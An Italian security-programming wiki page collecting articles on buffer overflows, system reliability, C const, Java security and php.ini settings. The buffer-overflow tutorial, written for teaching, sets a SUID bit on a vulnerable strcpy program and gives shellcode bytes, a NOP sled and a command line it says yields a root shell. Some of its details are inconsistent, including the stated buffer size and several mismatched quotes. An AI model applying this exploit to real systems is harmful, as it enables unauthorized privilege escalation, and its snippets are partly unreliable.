Inserisci Infobox

Sicurezza nella programmazione

Indicazioni e riferimenti per sviluppare codice sicuro.

Introduzione ai buffer overflows
Autore: mozako - Ultimo Aggiornamento: 2006-02-13 18:15:46 - Data di creazione: 2006-02-12 17:15:38
Tipo Infobox: WHITE PAPER - Skill: 4- ADVANCED

Esempio Buffer overflow su un sistema non opportunamente protetto.

Il C è un linguaggio che dà al programmatore libero arbitrio per quanto concerne l'allocazione della memora, indi per cui le responsabilità circa quest'ultima ricadono esclusivamente a lui.
Questo accade perchè lasciando al compilatore il compito di vagliare il sorgente per assicurarsi l'integrità dei dati causerebbe la produzione di binari lenti e diminuirebbero le possibilità di controllo del codice dal programmatore, il tutto implica una complicazione del linguaggio: e questa non è cosa sana.
Il dover allocare e, successivamente, liberare memoria per una variabile espone (vuoi per distrazione, vuoi per ignoranza) il codici a molti rischi che, il più delle volte, si traducono in buffer overflows.
Facciamo un esempio palese: qualora il programmatore volesse inserire 15 byte in un buffer cui sono destinati (allocati) esclusivamente 10 byte la cosa gli sarebbe consentita ma il programma, molto probabilmente crasherebbe.
Questa situazione viene denominata overflow del buffer che sta a significare, per l'appunto, l'eccedenza di byte che strariperanno al di fuori dello spazio di memoria allocato  (nel nostro caso 5 byte).

Vediamo subito un esempio:
#include <stdio.h>
int
main(argc, argv)
int argc;
char **argv;
{
char stringa[500];
if (argv[1]) {
strcpy(stringa, argv[1]);
fprintf(stdout, “hai digitato: %s\n”, stringa);
exit(0);
} else {
fprintf(stdout, “Inserisci una stringa come primo argomento !\n”);
exit(-1);
}
}

Compiliamolo e facciamo qualche prova:

$ gcc overflow.c -o overflow
$ ./overflow prova
hai digitato: prova                        -> fin quì tutto OK
$ ./overflow `perl -e “print 'A'x600;`
Segmentation fault                        -> cosa succede ? :-)


Quando cerchiamo di scrivere circa 20/25 byte nel nostro buffer da 10 byte vediamo
che il nostro programma crasha inspiegabilmente.
Questo perchè i byte che straripano al di fuori del nostro buffer vanno a sovrascrivere
il puntatore dello stack frame e l'indirizzo di funzione.

Quando l'esecuzione del programma verrà stoppata automaticamente questo cercherà
l'indirizzo di ritorno che, nel nostro caso, è riempito di “A”: in questa maniera il puntatore EIP punterà a 0x41414141 (rappresentazione esadecimale di AAAA).
Questo indirizzo è ovviamente fittizio e non porta a nessuna zona di memoria utilizzabile,
questo è, per l'appunto, ciò che causa il crash....

E se al posto di immettere una serie di “A” inserissimo qualcos'altro ?
Se al posto di un indirizzo a casa mettessimo un indirizzo effettivamente esistente... il programma ritornerebbe magicamente a quel che vogliamo.
Entra in gioco, quindi, l'iniezione di un bytecode, ossia uno spezzone di codice
che permette l'esecuzione autonoma di quel che vogliamo.
Il bytecode per eccellenza è lo shellcode che, in genere, spana una shell.
Proiettiamoci quindi nell'ottica di un software con bit SUID attivo e vediamo,  attraverso un esempio pratico, come spanare una shell di root attraverso del codice “malsano

Consideriamo il codice dell'esempio precedente ed attribuiamo al suo eseguibile il
bit suid attraverso CHMOD.
# ls -n overflow
-rwxr-xr-x  1 1000 100 11470 2005-11-21 19:05 overflow
# chown root overflow
# chmod +s overflow
# ls -n overflow
-rwsr-sr-x  1 0 100 11470 2005-11-21 19:05 overflow


Dobbiamo scrivere ora un exploit che ci permetta di sfruttare questa vulnerabilità e per farlo questo dovrà contenere lo shellcode necessario per spanare una shell e dovrà sovrascrivere il nostro indirizzo di ritorno nello stack in maniera da far eseguire lo shellcode, vediamo come fare.

Iniziamo col dire che i quattro byte all'interno dei quali è contenuto l'indirizzo di ritorno devono essere sovrascritti con il valore dell'indirizzo dello shellcode che non è noto nel caso di uno stack che cambia dinamicamente.

Ricorreremo alla tecnica della slitta delle istruzioni nulle (NOP sled).

Si tratta di istruzioni che non eseguono nulla e, pertanto consentono di eseguire dei
cicli, come dire, a “vuoto”.

Faremo quindi precedere al nostro shellcode un array di NOP: riflettiamo, qualora
il puntatore EIP andasse in X indirizzo e questo X indirizzo fosse contenuto nell'array
dei NOP verrà automaticamente innescata la reazione a catena finquando, passando da
NOP a NOP, l'istruzione non andrà a cadere proprio al nostro shellcode.

Abbiamo anche un'altra tecnica per iniettare il nostro shellcode.

Possiamo, infatti, riempire la parte finale del buffer con tante instanze dell'indirizzo,
nella mischia, probabilmente uno verrà ritornato puntandoci allo shellcode.

A questo punto, conosciute le tecniche, non ci resta altro da fare che conoscere dove il
buffer viene memorizzato approssimaticamente e per farlo useremo lo stack pointer.
Per fare questo dovremo determinare il nostro offset, ossia quel numero ottenuto sottraendo un determinato valore dallo stack pointer.
Nel nostro programma, il primo elemento che andiamo ad inizializzare a livello di memoria
è proprio il buffer (char stringa[10]) indi per cui il nostro offset sarà presumibilmente circa 0.
In questa sede eviteremo la trattazione dell'exploit in C, soffermandoci essenzialmente sui punti cardini del nostro attacco.

Per far questo utilizzeremo perl.

Dobbiamo, in primo luogo, creare il NOP sled. Proviamo, quindi, in perl, una cosa del tipo:
$ ./overflow `perl -e 'print "\x90"x200;"`
Ciò però non basta (stiamo solo “NOP”pando l'eseguibile), salviamo per comodità lo shellcode in un file:
$ echo "\x29\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x01\x40\x4e\x9f\x83\ /
xeb\xfc\xe2\xf4\x6b\x4b\x16\x06\x53\x26\x26\xb2\x62\xc9\xa9\xf7\x2e\x33\x26\x9f\x69\x6f\x2c\xf6\/
x6f\xc9\xad\xcd\xe9\x48\x4e\x9f\x01\x6f\x2c\xf6\x6f\x6f\x3d\xf7\x01\x17\x1d\x16\xe0\x8d\xce\x9f"/
> scode


Il nostro shellcode è di 68 byte ed unito ai 200 byte di NOP si ottiengono 268 byte.

Utilizziamo un semplice programmino per vedere orientativamente dove si trova il nostro stack pointer:
#include <stdio.h>
#include <stdlib.h>
unsigned long
got_esp( void )
{
        asm("movl %esp, %eax");
}
int
main( void )
{
        long esp = got_esp();
        fprintf(stdout, "0x%x\n", esp);
        exit(0);
}


$ ./gotsp
0xbfb8cec8

Sappiamo quindi che il nostro stack pointer si trova orientativamente all'indirizzo
0xbfb8cec8 e che trasformandolo in little endian diventerà: \xbf\xb8\xce\xc8.

Procediamo...

$ ./overflow `perl -e 'print "\x90"x200;"` `cat scode `perl -e 'print “\xbf\xb8\xce\xc8”x95;'`

Se i conti sono stati fatti bene il risultato sarà il seguente:
bash-3.00# whoami
root

L'affidabilità dei sistemi informatici
Autore: kbonasia - Ultimo Aggiornamento: 2005-12-15 21:24:22 - Data di creazione: 2005-09-21 23:52:17
Tipo Infobox: DESCRIPTION - Skill: 2- JUNIOR

Un numero crescente di organizzazioni, da società di informatica a case editrici, si affidano a servizi on-line che funzionano più o meno come quelli offerti dal World Wide Web. Grazie a questi servizi è possibile gestire informazioni importanti, rendere più rapido il processo di decisione ed aumentare l'efficienza. Il rovescio della medaglia è rappresentato dagli inconvenienti tipici delle reti di calcolatori e del software distribuito.

Leslie B. Lamport, ha definito un sistema di elaborazione distribuito come un sistema in cui il guasto di un calcolatore di cui non si sospetta neppure l'esistenza, può inficiare il funzionamento del vostro computer. Talvolta il prezzo da pagare è la pazienza e il tempo degli utenti; tuttavia, se a guastarsi è un calcolatore che sovrintende al funzionamento della Borsa o di un ospedale, o va in tilt un sistema per il controllo del traffico aereo, i guai sono più seri.

Le reti di calcolatori destinate al controllo del traffico aereo e alle transazioni finanziarie devono funzionare 24 ore su 24 ed essere aggiornate di continuo. Per questo motivo è opportuno includere fra gli argomenti relativi alla sicurezza informatica, anche quelli prettamente afferenti le interconnessioni tra calcolatori; non soltanto preoccuparsi di rafforzare il sottosistema dei dischi o duplicando le cpu e le memorie. Ovviamente, fare in modo che un calcolatore sia assolutamente affidabile è pressocché impossibile.

Si possono applicare i principi di fault tolerance tipici dell'hardware anche al software, ottenendo programmi capaci di resistere a momentanee cadute di un nodo, capaci di riconfigurarsi perché copiano in continuazione le informazioni più importanti. In tal modo il sistema nel suo complesso continua a funzionare e, teoricamente, fornisce un servizio ininterrotto agli utenti ancora collegati. Un metodo abbastanza diffuso per costruire un sistema distribuito a elevata disponibilità prevede un sistema primario e uno di riserva; se il primo si guasta, può essere messo in funzione il secondo. La commutazione dall'uno all'altro è facile se i dati non subiscono cambiamenti, ma diventa delicata se i dati o i documenti sono modificati durante il funzionamento del sistema.

In una grande rete di server, dati, documenti e programmi, può essere difficile distinguere tra un guasto vero e proprio del sistema e semplici difficoltà di comunicazione. I programmatori hanno affrontato il problema ricorrendo a un accorgimento detto di replicazione attiva, che consiste nel fare eseguire al software del sistema copie ridondanti dei programmi o dei server essenziali mediante l'uso dei cosiddetti gruppi di elaborazione. Un gruppo di elaborazione collega tra loro alcuni programmi che cooperano strettamente. Un sistema distribuito può contenere molti gruppi di elaborazione, e un programma può appartenere a più gruppi. La parte fondamentale per il funzionamento di questa architettura è quella rivolta alla trasmissione dei messaggi tra i gruppi e i programmi.

L'idea di base della replicazione attiva è semplice, a discapito della complessità del software necessario per ottenerla. La replicazione attiva consente al sistema di tollerare i guasti perché qualsiasi membro del gruppo può far fronte a qualunque richiesta: se una macchina si blocca, il compito può essere smistato a un altro nodo attivo. Inoltre, se una data richiesta non altera i dati, un singolo nodo può affrontare il problema anziché bloccare l'intero sistema. In tal modo è possibile svolgere più compiti allo stesso tempo mediante programmi diversi, accelerando il lavoro mediante l'elaborazione parallela.

Per gran parte del tempo i programmi replicati lavorano in parallelo, e ciascun programma affronta il proprio insieme di richieste in un ordine specifico. Se un baco del software risce a passare il collaudo e interferisce con alcune parti di un'elaborazione, è statisticamente assai improbabile che si verifichi il blocco totale del sistema. Perché i sistemi distribuiti si guastano allora? Sorprendentemente sono proprio gli errori degli operatori una delle principali cause.

I tentativi tradizionali di migliorare l'affidabilità del software e dell'hardware hanno quasi sempre trascurato la possibilità di un errore umano, eppure gli errori degli utenti sono responsabili in molti casi di quantità di downtime superiore a quella dovuta a qualsiasi altra causa. Probabilmente questo accade perché i progettisti dei computer e i programmatori preferiscono sacrificare la facilità d'uso alla ricerca di migliori prestazioni. I software di database, ad esempio, richiedono sovente uno staff di tecnici ben addestrati, che lavorano a tempo pieno. Esiste una buona quantità di programmi per effettuare il benchmark delle prestazioni dei sistemi, ma spesso questi strumenti non sono idonei per simulare "errori" e verificare il comportamento di un programma o di un sistema informatico nell'attuare le "azioni di recupero" previste a livello di ingegnerizzazione del prodotto.

Sovente si effettua abilmente un reboot del proprio computer, o per prevenzione, perché la macchina si sta comportanto in maniera strana o per reazione, perché c'è stato un crash di un programma importante. Il riavvio può essere utile anche per i computer più grandi, in quanto permette di ricominciare da zero e di eliminare tutta una classe di errori transitori. Purtroppo non sempre è possibile eseguire un reboot e più frequentemente, il riavvio di un sistema richiede parecchio tempo (anche in rapporto alla dimensione del calcolatore stesso e della tipologia di impiego).

La tendenza attuale è quella di sviluppare sistemi che possano effettuare un "reboot dolce", evitando di mandare nel panico i sistemi interconnessi per la mancanza di segni di vita da parte del sistema sottoposto a riavvio. In particolare queste ricerche vengono portate avanti nel settore delle comunicazioni terra-spazio-terra, laddove se per un errore ai sistemi non fosse disponibile un operatore umano per riavviarli manualmente, si perderebbe il segnale del satellite e con esso tutti i dati di quell'orbita.

In parole povere si tenta di implementare una specie di funzione "annulla", tipica oggi in ogni programma di elaborazione di testi, anche in contesti ad alta criticità. L'implementazione di questa funzione richiede però grandi quantità di risorse e rallenta in molti casi significativamente i sistemi. La tentazione è allora quella di ridurre in fase di progettazione dell'applicazione, l'interazione con l'operatore umano. Riducendola si presume che diminuiscano anche gli errori dovuti "all'essere umano". Ironicamente, si aumenta la probabilità di un guasto al sistema perché un errore umano all'inizio del percorso che processa i dati, viene rilevato quando ha oramai interagito con molte parti del programma e modificato in maniera anche irreversibile la base dati.

Per tale motivo, ad esempio, durante la produzione di un microprocessore, prima che esso esca dalla fabbrica, passa diversi test di affidabilità, eseguiti grazie ad un contorno di elettronica aggiuntiva che viene eliminata nella fase di rilascio sul mercato. Analogamente, durante lo sviluppo di programmi, è consigliato introdurre l'uso dei cosiddetti "errori di prova", specie per far fronte ad errori inaspettati (più simili a quelli che nell'uso reale potrebbero verificarsi a causa di un errore umano).

Codice C/C++ più sicuro. La keyword const
Autore: HTC - Ultimo Aggiornamento: 2004-04-23 23:11:08 - Data di creazione: 2004-04-23 23:11:08
Tipo Infobox: TIPS - Skill: 3- INTERMEDIATE

Un semplice metodo per scrivere codice più sicuro in C/C++. Il qualificatore const e il suo uso per evitare involontarie modifiche delle informazioni.

Per rendere piu' sicuro il proprio codice a volte non sono necessari complessi stratagemmi o ingegnosi trucchi, anzi, spesso bastano pochi accorgimenti. Un problema comune della programmazione e' quello di utilizzare i propri dati senza pero' modificarli, bisogna cioe' mantenere l'integrita' delle informazioni ma al contempo tentare di processarle il piu' velocemente possibile.
Il linguaggio C utilizza il passaggio di argomenti per copia, cio' significa che quando passiamo un parametro alla funzione viene sempre generata una copia della variabile passata che sara' utilizzata solo all'interno della funzione. Questo assicura l'integrita' delle nostre informazioni.

Per esempio nel seguente codice la variabile i non viene mai modificata da increment().

#include stdio.h
                                                                              
void increment(int value);

int main(int argc, char *argv[])
{
int i = 5;
                                                                                
increment(i);

printf("i = %d \n", i);
                                                                                
return 0;
}
                                                                                
/* La variabile value e' semplicemente una copia della variabile i del programma
   principale.  */


void increment(int value)
{
value++;
}

L'output sara':
i = 5

Il problema si pone quando dobbiamo trattare dati di grandi dimensioni come strutture e array dove non possiamo accettare il costo delle operazioni di copia degli argomenti. E' qui che entrano in gioco i puntatori che sono al contempo la potenza e il punto debole del C, la gioia e l'agonia del programmatore.

Per esempio la semplice funzione stringLen mostra il passaggio di un puntatore, un array di char, a una funzione. Cio' ci permette di aumentare notevolmente le prestazioni poiche' viene passato alla funzione solamente l'indirizzo dell'array ma mette in discussione il concetto di integrita' dei dati. Infatti passando il puntatore e non piu' una copia della variabile le eventuali modifiche apportate all'interno della funzione si ripercuotono anche sul programma principale. Per esempio la funzione di libreria che deve manipolare l'array potrebbe accidentalmente modificare l'argomento passato (basti pensare a una funzione molto complessa).
Il seguente codice presenta un esempio del programma client e di due implementazioni della funzione stringLen, una esegue solo le operazioni previste, l'altra modifica anche i dati in ingresso:

#include stdio.h

/* Prototipo della funzione */
int stringLen(char* string);

/* Programma Client */
int main(int argc, char *argv[])
{
char stringa[10] = {"Ciauz"};
                                                                                
printf("Lunghezza stringa  = %d \n", stringLen(stringa));
printf("Stringa: %s \n", stringa);
                                                                                
return 0;
}
                              
Ecco la versione corretta:
                                                                                
int stringLen(char* string)
{
int i = 0;
                                                                                
while(string[i] != '\0')
   i++;

return i;    
}

L'output del programma:

Lunghezza stringa  = 5
Stringa: Ciauz

Ecco la versione che modifica l'array:
                                                                                
int stringLen(char* string)
{
int i = 0;
                                                                                
while(string[i] != '\0') {
   string[i]++;
   i++;
   }

return i;    
}

L'output non e' certo quello voluto:

Lunghezza stringa  = 5
Stringa:  Djbv{

Quindi il programma client non puo' sapere con certezza se la propria variabile originaria sara' modificata o meno. E' proprio per risolvere tale problema che il linguaggio C offre la possibilita' di utilizzare il qualificatore Const, una novita' introdotta dallo standard ANSI.
Quando una variabile e' preceduta dal valore const significa che essa, dopo essere stata inizializzata con un valore, non potra' piu' essere modificata, rimarra' cioe' costante per tutta la durata del programma.
Tramite const e' possibile specificare nei parametri della funzione che l'argomento non sara' oggetto di modifica.

int stringLen(const char* string);

int stringLen(const char* string)
{
int i = 0;
                                                                                
while(string[i] != '\0')
   i++;

return i;    
}

In questo modo il programma client e' assolutamente sicuro che i valori contenuti nella variabile passata alla funzione non saranno modificati e al contempo le prestazioni sono ottime.
Inoltre poiche' la variabile e' definita const in certe occasioni l'accesso a tale variabile sara' piu' rapido poiche' il compilatore sa che non cambiera' mai di valore.
Questo dichiarazione di funzione e' utile anche allo sviluppatore della funzione di libreria che puo' accorgersi di un accidentale tentativo di modifica durante la stesura del codice in quanto il compilatore genera un errore (tentativo di scrittura su un memoria di sola lettura) durante la compilazione. E' inoltre un buon metodo per autodocumentare la propria funzione.    

Gestori della sicurezza e autorizzazioni -Java Security-
Autore: valentino - Ultimo Aggiornamento: 2003-03-26 23:47:20 - Data di creazione: 2003-03-26 23:47:20
Tipo Infobox: DESCRIPTION - Skill: 3- INTERMEDIATE

Il terzo meccanismo di sicurezza (il gestore della sicurezza) della piattaforma Java parte dopo aver caricato la classe nella virtual machine e averla controllata con il verificatore. Un gestore della sicurezza è una classe che controlla l'ammissibilità di una specifica. Tra l'altro, un gestore della sicurezza controlla la maggioranza delle azioni del thread in corso.
Per le applicazioni Java, l'impostazione predefinita non prevede gestori della sicurezza. E' possibile però installare un gestore specifico chiamando il metodo statico setSecurityManager della classe System e, se si tenta di installare un secondo gestore, l'operazione ha successo solo se il primo accetta di essere sostituito. La ragione di questo è perche altrimenti anche applet non regolari potrebbero installare un propio gestore. Pertanto, anche se è possibile avere più di un caricatore di classi, ogni programma Java può avere un solo gestore della sicurezza.

Verifica del bytecode -Java Security-
Autore: valentino - Ultimo Aggiornamento: 2003-03-26 23:45:13 - Data di creazione: 2003-03-26 23:45:13
Tipo Infobox: DESCRIPTION - Skill: 3- INTERMEDIATE

Prima che il caricatore passi alla virual machine i bytecode di una classe Java appena caricata, i bytecode devono superare l'ispezione effettuata da un verificatore. Quest'ultimo controlla che le istruzioni non svolgano azioni illecite (le variabiali vengano inizializzate prima dell'uso, lo stack di runtime non vada in overflow, etc.). Vengono verificate tutte le classi, tranne qulle di sistema. La verifica può essere disattivata con l'opzione non documentata -noverify (java -noverify Myprogram). Se fallisce anche una sola delle verifiche, la classe viene considerata corrotta e non viene caricata.

Nota
E' lecito chiedersi come il verificatore possa garantire che un file di classe sia completamente privo di errori sul tipo, variabili non inizializzate, etc. Il teorema di Godel è una legge che sostiene l'impossibilità di proggettare algoritmi che abbiano file di programma come input e generino come output un valore booleano che indica se il programma di input ha (non ha) una determinata proprietà. In effetti, il verificatore messo a punto da Sun Microsytems non è un algoritmo decisionale nel senso definito da Godel. Se il verificatore accetta un programma, il programma è senz'altro sicuro. Tuttavia parecchi programmi effettivamente sicuri potrebbero non superare l' esame del verificatore.

L'intrasigenza delle verifiche ha un grande valore ai fini della sicurezza. In molti casi, errori accidentali possono provocare gravi problemi.
Nel mondo di Internet è fondamentale che esistano garanzie di protezione da programmi maligni, progettati con l'intenzione specifica di danneggiare i sistemi altrui.

php.ini
Autore: maxgrante - ( Revisione: maxgrante ) - Ultimo Aggiornamento: 2002-10-24 10:07:26 - Data di creazione: 2002-10-24 10:07:26
Tipo Infobox: PATH - Skill: 3- INTERMEDIATE

Per l'analisi delle configurazioni principali di php.ini prendiamo in esame il php.ini-dist che presenta un tipo di configurazione meno esasperata e più user friendly nonchè oggettivamente più utile per la programmazione.

Cominciamo con il dire che php.ini gestisce tutte le configurazioni possibili (eccezion fatta per le modalità di installazione e compilazione).
I settaggi che metterò negli esempi sono quelli di default
La logica è davvero molto semplice, in pratica corrisponde a questo esempio:
settaggio = value

Permette l'utilizzo dei tag abbreviati
short_open_tags = On
Permette l'utilizzo di tag ASP
asp_tags = Off
Il numero di cifre significative nei numeri a virgola mobile
precision = 12
Forza la compatibilità con l'anno 2000 (crea problemi con non-compliant browser)
y2k_compliance = Off
Abilitazione del buffering dell'output. Settando "On" questa configurazione permetterete a PHP di inviare la pagina al browser solo al termine dell'esecuzione di tutti gli script e tutte le varie funzioni di echo o print venrranno immagazzinate nel buffer. Questo ha il vantaggio di permettere l'invio di header lines anche dopo l'invio del body. Inoltre nel caso che nella maggioranza delle pagine ci sia commistione di html tradizionale e html generato da php attraverso echo() o print().
Oppure qualora si senta l'esigenza di comprimere l'output per velocizzare lo scaricamento delle pagine (attivando nel php.ini sia il buffering che la compressione). Lo svantaggio principale è di rallentare l'esecuzione del codice PHP nel caso che lo script non sfruttati appieno queste opportunità.
Nel caso che il server fornisca hosting a diversi clienti è preferibile lasciare queste opzioni disabilitate e lasciare la libertà ai programmatori di sfruttare il buffering con le funzioni ob_start etc...
output_buffering = Off
Puoi redirezionare l'output degli scripts verso una funzione. Ad esempio impostando output_handler a ob_gzhandler, l'output verrà trasparentemente compresso per i browser che supportano gzip o browser che scompattano il codice.
output_handler =
Rende trasparente la compressione tramite le librerie gzip. Le impostazioni valide sono 'Off' 'On' o specificando il buffer size da utilizzare per la compressione (default = 4 Kbyte)

Importante: se si imposta questa configurazione ad 'On' output_handler DEVE essere settata 'On'
zlib.output_compressed = Off
Implicit flush è una opzion che deve essere settata Off, al massimo deve essere utilizzata solamente in fase di debugging in quanto ha gravi conseguenze sulle performance
implicit_flush = Off
Impostando "on" si forza a passare per reference gli argomenti quando viene chiamata la funzione. Questo metodo è deprecato (anche se di default è settato On) e viene consigliato di sistemare gli script per funzionare anche se questa configurazione è settata ad "on" in quanto in futuro verrà cancellata.
allow_call_time_pass_reference = On
Safe mode effettua un rigido controllo sugli utenti che "girano" nello spazio web in cui vengono eseguiti script php.
Normalmente tutti gli script ereditano i permessi di Apache (che con certe configurazioni del server possono rivelarsi troppo ampi), invece dal momento in cui viene attivato safe_mode, gli script agiranno strettamente con i permessi dell'utente che li ha uplodati (cioè, in uno spazio in hosting, l'utente ftp), quindi, ad esempio, non potranno andare a leggere un file creato con php nello spazio WEb di un altro utente (revisionato da Fabio Heller)
safe_mode = Off
Di default safe mode quando viene aperto un file fa un UID compare. Se vuoi "rilassare" il tuo script ad un GID compare bisogna impostare la seguente impostazione ad "On"
safe_mode_gid = Off
Quando il safe mode è impostato su "On" il controllo UID/GID è bypassato quando viene incluso un file da quella directory e dalle sue sottodirectory
safe_mode_include_dir =
Se si imposta "On" dice a PHP di dichiararsi presente sul server
expose_php = On
Limiti risorse:
Tempo massimo di esecuzione di uno script PHP
max_execution_time = 30
Massima quantità di memoria che uno script PHP può occupare per la sua esecuzione
memory_limit = 8M
Gestione degli errori (per maggiori dettagli in php.ini vengono spiegati i vari livelli di visualizzazione degli errori)
Questa configurazione mostra tutti gli errori eccetto le notifiche
error_reporting = E_ALL & E_NOTICE
Visualizzazione errori come parte dell'output della pagina. Questa opzione deve essere impostata "On" SOLO per siti in sviluppo, per server in produzione è vivamente consigliato di spegnere questa configurazione e di utilizzare il logging interno di PHP (più avanti spiegato) perchè potrebbe visualizzare informazioni critiche come il path dei file
display_errors = On
Anche quando display_errors = On, gli errori occorsi durante la sequenza di startup di PHP non vengono visualizzati. E' fortemente raccomandato per server in produzione di disattivare questa funzionalità
display_startup_errors = Off
Logging degli errori in un file di log. Il team di php.net avvisa di attivare questa opzione per server in produzione
log_errors = Off
Memorizza l'ultimo errore/warning in $php_errormsg (boolean)
track_errors = Off
Disabilita l'inclusione di tag HTML negli errori
html_errors = Off
Log errors in uno specifico file (valido se log_errors = On)
error_log = filename
IMPORTANTE! la configurazione di questo parametro è molto importante perchè definisce la compatibilità con vecchie versioni di PHP in qui era impostata di default ad "On" mentre ora per motivi di sicurezza è consigliato settare ad "Off" Regiter Globals.
In breve questa funzione permette di non dover richiedere una variabile passata in un URL come GET o come POST ma di averla già disponibile.
Se register_globals = On nel caso di un url del tipo: http://www.dominio.com/pippo.php?ID=56 se nella pagina successiva printo $ID il PHP visualizzerà 56, nel caso di register globals = Off la variabile sarà disponibile solamente in $_GET["ID"] o con le vecchie variabile in $HTTP_GET_VARS["ID"] e non come $ID
register_globals = On
Questa direttiva dice a PHP di dichiarare le variabili argv&argc (quelle contanenti le informazioni GET). Se non si usano queste variabili si può spegnere questa configurazione per ottenere maggiori performance.
register_argv = On
Massima dimensione di un POST di dati che PHP accetti
post_max_size = 8M
Questa direttiva è deprecata e php.net consiglia di utilizzare l'altra variabile di ordinamento dei GET POST COOKIE spiegata precedentemente
gpc_order = "GPC"
Importante: Magic quotes
Magic quotes per variabili in ingresso GET/POST/COOKIE: Vuol dire che a tutte le variabili in incoming come GPC vengono aggiunti gli slashes. Es. ' = \' " = \"
magic_quotes_gpc = On
Magic quotes per dati runtime (Es. dati da SQL, da exec etc...)
magic_quotes_runtime = Off
Utilizza magic quotes stile sybase (escape per ' con '' anzichè \')
magic_quotes_sybase = Off

Directory dove risiedono le estensioni
extension_dir = ./
Configurazione per enablare o meno le dl() function che non funzionano correttamente su multithread server, IIS e Zeus e vengono automaticamente disabilitate in questi server
enable_dl = On

File Uploads
Impostare il permesso di HTTP upload di files
file_uploads = On
Directory dei file temporanei in fase di upload (se commentate questa configurazione verrà utilizzata quella di default del S.O.)
upload_tmp_dir
Massima dimensione di un file accettata da PHP
upload_max_filesize = 2M

File Opening
Configurazione per concedere la possibilità del trattamento con fopen di URL file
allow_url_fopen = On

Dinamic extension
Windows extensions (se commentata non viene caricata) un esempio:
extension = php_cpdf.dll

Module settings
Configurazione per attivazione dei syslog (disabilitare questa opzione permette un incremento delle performance di PHP)
define_syslog_variables = Off
Funzioni email per windows
Impostazione SMTP server
SMTP = localhost
Invio email da:
sendmail_from = [email protected]
Funzioni email per unix
Path di sendmail
;sendmail_path = (commentata di default)

Configurazioni database
SQL
sql.safe_mode
ODBC
Permette o previene connessioni persistenti
odbc.allow_persistent = ON
Controlla che la connessione persistente sia valida prima di utilizzarla
odbc.check_persistent = On
Massimo numero di connessioni persistenti (-1 equivale ad infinite)
odbc.links = -1
MYSQL
Per eventuali configurazioni del tipo mysql.allow_persistent = On valgono le spiegazioni date per ODBC e così per i database supportati. (tratterò esclusivamente i casi specifici di ogni DB).
Porta di default di mySQL. Se lasciata blank viene utilizzata la porta di default 3306
mysql.default_port =
Nome socket per connessioni locali a mySQL. Se vuota viene utilizzata quella di default
mysql.default_socket = On
Default host per mysql_connect() (non applicabile in safe mode)
mysql.default_host
Default user per mysql_connect() (non applicabile in safe mode)
mysql.default_user =
Default password per mysql_connect() (non applicabile in safe mode). E' assolutamente sconsigliabile utilizzare una password di default!!
mysql.default_password =
POSTGRESQL
Individua connessioni persistenti broken con pg_connect(). Necessita di un piccolo overhead
pgsql.auto_reset_persistent = Off
SYBASE
Error severity minimo visualizzato
sybase.min_error_severity = 10
Si forza la compatibilità con versioni vecchie di PHP (3.0) in caso di settaggio ad On forza PHP a assegnare tipi di risultati del tipo di quelli di sybase.
Questa compatibilità non rimarrà a lungo
sybase.compatibility_mode = Off
SYBASE-CT
Massimo numero di connessioni (persistenti e non) accettate da sybase (-1 senza limiti)
sybct.max_links = -1

N.b.Non mi dilungherò ulteriormente sui database in quanto indicativamente per tutti i database le configurazioni sono simili, ci sono altri casi eccezionali comunque descritti ampiamente in PHP.INI

SESSIONI
Handler utilizzato per lo store ed il retrieve dei dati
session.save_handler = files
Path dove vengono immagazzinati i files delle sessioni
session.save_handler = /tmp
Se usare i cookies
session.use_cookies = 1
Nome della sessione (usato come cookie name)
session.name = PHPSESSID
Inizializzazione sessioni alla richiesta di startup
session.auto_start = 0
Tempo di vita del cookie (se 0 finchè il browser non viene restartato)
session.cookie_lifetime = 0
Path per il quale il cookie è valido
session.cookie_path = /
Handler utilizzato per la serializzazione dei dati (lo standard è PHP)
session.serialize_handler = php
Percentuale di possibilità che la "Garbage Collection" venga iniziata quando la sessione viene inizializzata
session.gc_probability = 1
Importante: Numero di secondi dopo il quale la sessione viene considerata scaduta (importante in caso di carrelli della spesa)
session.gc_maxlifetime = 1440
Controlla l'HTTP referer per la validazione di stored URL che contengono l'ids
session.referer_check =
Quanti bytes vengono letti dal file
session.entropy_lenght = 0
Specifica dove creare il session ID
session.entropy_file =
Setta il no cache
session.cache_limiter = nocache
Tempo di espirazione del documeto in N minuti
session.cache_expire = 180
E' molto rischioso abilitare il trans sid perchè permette di accedere ad una sessione tramite vecchi bookmarks o url stored e perchè l'utente può inviare l'URL contenente la sessione via mail, irc etc...
sessione.use_trans_sid = 0

E con questa ultima spiegazione ho terminato di trattare le configurazioni principali di php.ini
Esempio di configurazione per un sito in produzione (da prendere con le molle e da customizzare in base alle proprie esigenze) PHP.INI

Caricatore di classi -Java Security-
Autore: valentino - Ultimo Aggiornamento: 2003-03-26 23:40:48 - Data di creazione: 2003-03-26 23:40:48
Tipo Infobox: DESCRIPTION - Skill: 3- INTERMEDIATE

Il compilatore Java (javac Myprogram.java) converte il codice sorgente in linguaggio macchina di una macchina ipotetica, chiamata virtual machine. Il codice della virtual machine viene memorizzato in file di classe con estensione .class.I file di classe contengono il codice per tutti i metodi della stessa classe e vanno interpretati da un programma che traduce le istruzioni della virtual machine nel linguaggio macchina del computer di destinazione.
Si noti che l'interprete della virtual machine carica solo i file necessari per l'esecuzione del programma: se l'esecuzione del programma inizia con la classe MyProgramm.class, la virtual machine opera le seguenti operazioni:

1. La virtual machine dispone di un meccanismo per il caricamento dei file di classe MyProgram.class;

2. Se Myprogram.class contiene campi dati o superclassi di altri tipo,vengono caricati anche i relativi  file di classe.Il processo di caricamento di tutte le classi collegate a una classe si chama risoluzione della classe;

3. La virtual machine esegue quindi il metodo main della classe MyProgram;

4. Se il metodo main o uno dei metodi chiamati da main lo richiedono, vengono caricate eventuali classi aggiuntive.

Il meccanismo di caricamento delle classi, tuttavia, non utilizza un singolo caricatore di classi.Ogni programma Java ha infatti almeno tre caricatori di classi differenti:

- il caricatore di classi bootstrap;
- il caricatore di classi per le estensioni;
- il caricatore di classicdi sistema.

Il caricatore di classi bootstrap carica le classi di sistema (tipicamenete contenute nel file JAR rt.jar).Si tratta di una parte integrante della virtual machine, ed e' solitamente scritto in C.
Il caricatore di classi per le estensioni carica un'estensione standard dalla directory jre/lib/ext. Si possono aggiungere file JAR in quella directory, e il caricatore per estensione li trovera', anche se non e' presente alcun percorso per la classe.Il caricatore di classi per le estensioni e' implementato in Java.
